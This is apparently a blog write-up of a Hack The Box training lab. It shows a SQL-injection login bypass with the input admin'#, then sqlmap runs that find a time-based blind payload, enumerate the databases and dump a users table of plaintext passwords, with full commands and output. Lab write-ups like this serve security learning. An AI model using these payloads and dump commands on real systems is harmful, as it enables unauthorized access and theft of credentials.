I’ve been playing around on Hack The Box and I’ve decided to write up of some of my attempts where I feel I’ve tried something a little different from what has already been seen before.

Starting Point is the first machine in Tier 1. The precursor questions are all centered around SQL, injection and an introduction to gobuster. As a first step I ran a simple nmap scan on the provided IP to see what was hosted on the box.

$ nmap -sV -sC 10.129.178.46
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 16:18 EET
Nmap scan report for 10.129.178.46 (10.129.178.46)
Host is up (0.091s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.24 seconds

nmap revealed that there was an Apache HTTP server running on port 80, and sure enough, navigating to the IP in a web browser revealed a login page.

Figure 1: Login page with username and password fields.

Figure 1: Login page with username and password fields.

The next port of call was to use gobuster to reveal any directories that may have been available, hopefully containing something we could use to get in. For this I used gobuster’s directory enumeration mode and a wordlist of common directories provided by Kali.

$ gobuster dir -u http://10.129.178.46 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.178.46
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/01/07 18:16:45 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.129.178.46/css/]
/fonts                (Status: 301) [Size: 314] [--> http://10.129.178.46/fonts/]
/images               (Status: 301) [Size: 315] [--> http://10.129.178.46/images/]
/index.php            (Status: 200) [Size: 4896]
/js                   (Status: 301) [Size: 311] [--> http://10.129.178.46/js/]
/server-status        (Status: 403) [Size: 278]
/vendor               (Status: 301) [Size: 315] [--> http://10.129.178.46/vendor/]
Progress: 4604 / 4615 (99.76%)
===============================================================
2023/01/07 18:17:27 Finished
===============================================================

Unfortunately, a rummage through the discovered directories did not reveal anything of use that wasn’t securely locked down. Having hit a bit of a dead end I changed my focus to SQL injection, as hinted to by the preamble questions.

Naive approach

For this, a quick Google of basic SQL injection attacks led me to a list of possible usernames to try out. The basic idea is to mix common usernames, string termination ' and comments #.

Assuming the query behind the login looks something like the following,

SELECT id FROM users WHERE username='username' AND password='password'

then using a username terminating in a '# sequence would comment out the remaining query, bypassing the password field entirely. For example:

SELECT id FROM users WHERE username='username'#' AND password='password'

The only remaining step then was to guess a valid username by bruteforce, in this case admin'# worked and revealed the flag.

Figure 2: Screen showing the box’s flag after a successful login.

Figure 2: Screen showing the box’s flag after a successful login.

A more robust approach

While the naive approach worked fine, I felt like I had little knowledge of what the underlying system and database looked like. I searched for a more comprehensive way to break into the sever, hopefully something that relied less on my own ability to guess login details. To this end I found Burp Suite, a web penetration testing toolkit and sqlmap, an automated SQL injection testing and exploit tool.

Upon starting Burp Suite I created a temporary project, and under the Proxy tab I toggled intercept on, as shown below. From here, using Burp’s own browser, and navigating to the box URL would record any HTTP calls made by the site.

Figure 3: Toggle intercept on to record HTTP calls made within Burp’s browser.

Figure 3: Toggle intercept on to record HTTP calls made within Burp’s browser.

From here I navigated to the login screen of the target box and entered a username & password combination, below for example I used admin & password. This could have been any combination, the important information that sqlmap requires is the parameter names, here username and password.

Figure 4: Captured HTTP request containing a username and password.

Figure 4: Captured HTTP request containing a username and password.

The next step was to save the captured HTTP request to file to input into sqlmap. I saved the request to request.txt (below) using the right-click context menu.

POST / HTTP/1.1
Host: 10.129.178.46
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.178.46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.129.178.46/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=password

Next, I ran sqlmap with the captured HTTP request as an input. This command determines both the type of the target database and whether any of the input parameters are vulnerable.

$ sqlmap -r request.txt
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.11#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:31:06 /2023-01-11/

[17:31:06] [INFO] parsing HTTP request from 'request.txt'
[17:31:06] [INFO] testing connection to the target URL
[17:31:06] [INFO] testing if the target URL content is stable
[17:31:07] [INFO] target URL content is stable
[17:31:07] [INFO] testing if POST parameter 'username' is dynamic
[17:31:07] [WARNING] POST parameter 'username' does not appear to be dynamic
[17:31:07] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[17:31:07] [INFO] testing for SQL injection on POST parameter 'username'
[17:31:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:31:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:31:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:31:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:31:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:31:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:31:11] [INFO] testing 'Generic inline queries'
[17:31:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:31:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:31:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:31:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:31:23] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[17:31:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:31:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:31:29] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[17:31:33] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[17:31:33] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:31:57] [INFO] the back-end DBMS is MySQL
[17:31:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:32:16] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'

[*] ending @ 17:32:16 /2023-01-11/

sqlmap was able to determine that the database is MySQL and that the username parameter was in fact vulnerable. From here I used the --dbs argument to attempt to obtain a list of available databases.

$ sqlmap -r request.txt --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:34:25 /2023-01-11/

[17:34:25] [INFO] parsing HTTP request from 'request.txt'
[17:34:25] [INFO] resuming back-end DBMS 'mysql'
[17:34:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:34:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:34:25] [INFO] fetching database names
[17:34:25] [INFO] fetching number of databases
[17:34:25] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:34:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2
[17:35:00] [INFO] retrieved: information_schema
[17:35:05] [INFO] adjusting time delay to 1 second due to good response times
[17:36:19] [INFO] retrieved: appdb
available databases [2]:
[*] appdb
[*] information_schema

[17:36:41] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'

[*] ending @ 17:36:41 /2023-01-11/

This revealed two databases in the target system, appdb and information_schema. The former sounded more interesting so I explored that further first. To do this I set the target database with -D appdb and the --tables argument to list all available tables within.

$ sqlmap -r request.txt -D appdb --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:37:30 /2023-01-11/

[17:37:30] [INFO] parsing HTTP request from 'request.txt'
[17:37:30] [INFO] resuming back-end DBMS 'mysql'
[17:37:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:37:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:37:30] [INFO] fetching tables for database: 'appdb'
[17:37:30] [INFO] fetching number of tables for database 'appdb'
[17:37:30] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:37:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
1
[17:37:41] [INFO] retrieved: users
[17:37:51] [INFO] adjusting time delay to 1 second due to good response times
Database: appdb
[1 table]
+-------+
| users |
+-------+

[17:38:09] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'

[*] ending @ 17:38:09 /2023-01-11/

This revealed a single table called users, which sounded highly promising. The final step was to use -T users to select the desired table within the target database, and the --dump argument to dump its contents to the screen. This process took a bit longer than the others, around 25 minutes in total on this virtual machine. One might be able to improve the time by allocating the virtual machine with a bit more oomph.

$ sqlmap -r request.txt -D appdb -T users --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.11#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:38:50 /2023-01-11/

[17:38:50] [INFO] parsing HTTP request from 'request.txt'
[17:38:50] [INFO] resuming back-end DBMS 'mysql'
[17:38:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:38:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:38:50] [INFO] fetching columns for table 'users' in database 'appdb'
[17:38:50] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:38:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[17:39:10] [INFO] adjusting time delay to 1 second due to good response times
3
[17:39:11] [INFO] retrieved: id
[17:39:19] [INFO] retrieved: username
[17:39:30] [ERROR] invalid character detected. retrying..
[17:39:30] [WARNING] increasing time delay to 2 seconds
[17:39:40] [ERROR] invalid character detected. retrying..
[17:39:40] [WARNING] increasing time delay to 3 seconds
[17:39:51] [ERROR] invalid character detected. retrying..
[17:39:51] [WARNING] increasing time delay to 4 seconds
[17:40:43] [ERROR] invalid character detected. retrying..
[17:40:43] [WARNING] increasing time delay to 5 seconds
[17:41:38] [INFO] retrieved: password
[17:44:00] [INFO] fetching entries for table 'users' in database 'appdb'
[17:44:00] [INFO] fetching number of entries for table 'users' in database 'appdb'
[17:44:00] [INFO] retrieved: 2
[17:44:11] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
1
[17:44:26] [INFO] retrieved: 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf
[17:57:08] [ERROR] invalid character detected. retrying..
[17:57:08] [WARNING] increasing time delay to 6 seconds
[17:58:19] [ERROR] invalid character detected. retrying..
[17:58:19] [WARNING] increasing time delay to 7 seconds
[18:00:12] [INFO] retrieved: admin
[18:01:55] [INFO] retrieved: 2
[18:02:17] [INFO] retrieved: bababa
[18:03:32] [INFO] retrieved: test
[18:05:17] [ERROR] invalid character detected. retrying..
[18:05:17] [WARNING] increasing time delay to 8 seconds
Database: appdb
Table: users
[2 entries]
+----+---------------------------------------------------+----------+
| id | password                                          | username |
+----+---------------------------------------------------+----------+
| 1  | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin    |
| 2  | bababa                                            | test     |
+----+---------------------------------------------------+----------+

[18:05:50] [INFO] table 'appdb.users' dumped to CSV file '/home/odin/.local/share/sqlmap/output/10.129.178.46/dump/appdb/users.csv'
[18:05:50] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46

[*] ending @ 18:05:50 /2023-01-11/

As you can see from the above, sqlmap was able to find two usernames and plaintext (naughty!) passwords for us to try. Both combinations worked great and presented me with the same flag as previously (1).

Overall I was much happier with this method as the guessing element was off-loaded to an automated tool. The result also provided me with a better understanding of the target database and tables schemas.